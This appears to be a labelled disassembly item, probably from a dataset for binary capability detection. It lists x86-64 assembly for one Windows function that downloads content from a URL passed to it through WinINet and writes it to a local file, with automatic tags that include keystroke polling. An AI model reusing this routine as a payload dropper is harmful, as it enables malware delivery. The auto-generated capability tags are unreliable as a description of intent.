Function at 0x18002b710
Capabilities:
Check http status code
Create http request
Delete file
Download and write a file
Log keystrokes via polling
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push r13
push r14
mov eax, 0x10b8
call fcn.18005aa10
sub rsp, rax
mov rax, qword [0x18007f130]
xor rax, rsp
mov qword [rsp + 0x1080], rax
mov r14, rdx
mov r13, rcx
test rcx, rcx
jne 0x18002b745
xor eax, eax
jmp 0x18002ba80
test rdx, rdx
je 0x18002b73e
mov rcx, rdx
mov qword [rsp + 0x10e0], rbx
mov qword [rsp + 0x1098], r12
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor ebx, ebx
xor r9d, r9d
mov qword [rsp + 0x30], rbx
xor r8d, r8d
mov edx, 0x40000000
mov rcx, r14
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r12, rax
test rax, rax
je 0x18002bae3
cmp rax, 0xffffffffffffffff
je 0x18002bae3
mov qword [rsp + 0x10b0], rbp
mov qword [rsp + 0x10a8], rsi
lea rdx, [0x18006c5a8]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x10a0], rdi
mov qword [rsp + 0x1090], r15
call fcn.180001b60
lea ecx, [rbx + 0x14]
mov r15d, 1
mov rbp, rax
mov edi, r15d
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov dx, ax
bt edx, 0xf
jae 0x18002b818
lea ecx, [rbx + 0x58]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov dx, ax
bt edx, 0xf
jae 0x18002b818
lea ecx, [rbx + 0x5a]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov dx, ax
bt edx, 0xf
cmovb edi, ebx
mov rcx, qword [rbp]
cmp dword [rcx - 0x10], ebx
je 0x18002b838
xor r9d, r9d
xor r8d, r8d
mov edx, edi
mov dword [rsp + 0x20], ebx
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rsi, rax
jmp 0x18002b854
lea rcx, [0x18006d208]
xor r9d, r9d
xor r8d, r8d
mov edx, edi
mov dword [rsp + 0x20], ebx
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rsi, rax
test rsi, rsi
jne 0x18002b882
mov rdx, qword [rbp]
sub rdx, 0x18
or rbx, 0xffffffffffffffff
lock xadd dword [rdx + 0x10], ebx
dec ebx
test ebx, ebx
jg 0x18002baca
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
jmp 0x18002baca
mov r9d, 4
lea r8, [rsp + 0x4c]
mov rcx, rsi
lea edx, [r9 + 0x3d]
mov dword [rsp + 0x4c], r15d
call qword [sym.imp.WININET.dll_InternetSetOptionW]
xor eax, eax
or rbx, 0xffffffffffffffff
lea rdi, [0x18006d220]
mov rcx, rbx
lea r8, [0x18006d220]
repne scasw ax, word [rdi]
xor edi, edi
mov rdx, r13
not rcx
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], 0x84083180
lea r9, [rcx - 1]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov r13, rax
test rax, rax
jne 0x18002b911
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rdx, qword [rbp]
sub rdx, 0x18
lock xadd dword [rdx + 0x10], ebx
dec ebx
test ebx, ebx
jg 0x18002baca
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
jmp 0x18002baca
xor eax, eax
lea r9, [rsp + 0x48]
lea r8, [rsp + 0x58]
lea edx, [rax + 0x13]
mov rcx, r13
mov word [rsp + 0x58], di
mov qword [rsp + 0x5a], rax
mov qword [rsp + 0x62], rax
mov word [rsp + 0x6a], ax
mov dword [rsp + 0x48], 0x14
mov qword [rsp + 0x20], rdi
call qword [sym.imp.WININET.dll_HttpQueryInfoW]
test eax, eax
je 0x18002ba9c
lea rcx, [rsp + 0x58]
call fcn.180036d04
cmp eax, 0xc8
je 0x18002b982
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rbp
call fcn.180001c10
jmp 0x18002baca
xor ebx, ebx
lea rcx, [rsp + 0x71]
xor edx, edx
mov r8d, 0x1000
mov dword [rsp + 0x40], ebx
mov byte [rsp + 0x70], bl
call fcn.180035fe0
lea r9, [rsp + 0x40]
lea rdx, [rsp + 0x70]
mov r8d, 0x1000
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x18002ba1d
nop dword [rax + rax]
mov r8d, dword [rsp + 0x40]
test r8d, r8d
je 0x18002ba19
lea r9, [rsp + 0x44]
lea rdx, [rsp + 0x70]
mov rcx, r12
mov dword [rsp + 0x44], ebx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
add edi, dword [rsp + 0x40]
lea rcx, [rsp + 0x70]
xor edx, edx
mov r8d, 0x1001
call fcn.180035fe0
lea r9, [rsp + 0x40]
lea rdx, [rsp + 0x70]
mov r8d, 0x1000
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x18002b9c0
test edi, edi
jne 0x18002ba22
mov edi, ebx
mov r15d, ebx
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rbp
call fcn.180001c10
test r15d, r15d
je 0x18002baca
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
mov rbp, qword [rsp + 0x10b0]
mov rdi, qword [rsp + 0x10a0]
mov rsi, qword [rsp + 0x10a8]
mov r15, qword [rsp + 0x1090]
mov rbx, qword [rsp + 0x10e0]
mov r12, qword [rsp + 0x1098]
mov rcx, qword [rsp + 0x1080]
xor rcx, rsp
call fcn.1800340f0
add rsp, 0x10b8
pop r14
pop r13
ret
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rdx, qword [rbp]
sub rdx, 0x18
lock xadd dword [rdx + 0x10], ebx
dec ebx
test ebx, ebx
jg 0x18002baca
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor eax, eax
jmp 0x18002ba50
xor eax, eax
jmp 0x18002ba70